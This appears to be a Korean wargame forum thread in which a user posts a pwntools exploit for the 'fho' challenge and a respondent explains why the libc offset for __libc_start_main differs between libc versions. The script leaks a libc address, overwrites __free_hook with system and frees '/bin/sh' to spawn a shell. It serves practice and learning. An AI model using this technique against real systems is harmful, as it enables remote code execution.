계속 쉘이 끊기는 거 같습니다.

아래는 작성 한 익스플로잇 코드와 실행 결과입니다. 코드는 잘 작성한 거 같은데 이상하게도 실행만 하면 도중에 쉘이 끊기네요..... 어떤 부분이 문제일까요.....?

     1  #!/usr/bin/python3
     2
     3  from pwn import *
     4
     5  p = remote("host3.dreamhack.games", 11357)
     6  e = ELF("./fho")
     7  lib = ELF("./libc-2.27.so")
     8
     9  payload = b"A"*0x48
    10  p.sendafter("Buf: ", payload)
    11  p.recvuntil(payload)
    12  libc_start_main = u64(p.recvn(6) + b"\x00" * 2)
    13
    14  libc_base = libc_start_main - (lib.symbols["__libc_start_main"] - 243)
    15  system = libc_base + lib.symbols["system"]
    16  free_hook = libc_base + lib.symbols["__free_hook"]
    17  binsh = libc_base + next(lib.search(b"/bin/sh"))
    18
    19  print(hex(libc_base))
    20  print(hex(system))
    21  print(hex(free_hook))
    22  print(hex(binsh))
    23
    24  p.sendlineafter("To write: ", str(free_hook))
    25  p.sendlineafter("With: ", str(system))
    26  p.sendlineafter("To free: ", str(binsh))
    27
    28  p.interactive()

#pwnable
작성자 정보
답변 4
avatar
wyv3rn
무플 방지 위원회장

-243은 어떻게 구하셨을까요?

2022.09.15. 11:48
탈퇴한 이용자
대표 업적 없음

2022.09.15. 17:22
avatar
wyv3rn
무플 방지 위원회장

자자. 다시.

함수의 프롤로그와 에필로그를 다시 생각해봅시다.

특정 함수로 진입하면 다시 돌아갈 위치를 저장하기 위해 push %rbp부터 실행하는 것은 아실겁니다.

또한 프로그램은 main 함수부터 시작하는 것이 아닌

_start 함수부터 시작해서
_libc_start_main
_main
_libc_start_main
_exit
로 흘러가는 것도 아실겁니다. (우리 csu 공부하면서 배웠잖아요 ㅠㅠ)

그럼 _libc_start_main에서 _main으로 들어갈때는 바로 들어가는게 아니라 _libc_start_main의 특정 위치에서 main을 call하는 것도 아실거고요.

예를 들어 _libc_start_main의 구조가 아래와 같다고 가정합시다.

push a <-_libc_start_main + 236
add b <-_libc_start_main + 238
sub c <-_libc_start_main + 240
call main <- _libc_start_main + 243

과 같은 구조일겁니다.

여기서 main 함수로 진입하면
main 함수의 push $rbp를 통해 다시 돌아갈 위치인 _libc_start_main + 243을 기억했다가
나중에 main 함수 종료 시 이를 ret address에 넣으면서 해당 위치로 돌아갈 것입니다.

그러므로 이 문제에서 leak 된 memory 주소는 _libc_start_main + 243 이 되는 것이지요.

근데 이건 로컬에서의 값 입니다.

다른 환경에서 만약에 다른 libc를 쓰면요?

아마 아래와 같을겁니다.

push a <-_libc_start_main + 236
add b <-_libc_start_main + 238
sub c <-_libc_start_main + 240
add d <-_libc_start_main + 243
add e <-_libc_start_main + 246
call main <- _libc_start_main + 249

이 경우에는 main 함수에서 leak 된 값이 _libc_start_main + 249 이기에 base address를 구하려면
leak_address - _libc_start_main - 249
가 되겠죠.

libc 버전이 다르다는 것은 그 안에 내용이 추가되거나 삭제되었다는 것이고, 그로 인해 _libc_start_main 함수의 시작 지점으로부터 call main 까지의 offset이 달라질 가능성이 있습니다.

물론 같을수도 있어요

근데 이 문제에서는 다를겁니다. 이를 찾으시면 될겁니다.

2022.09.15. 18:00
탈퇴한 이용자
대표 업적 없음

2022.09.22. 14:12
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기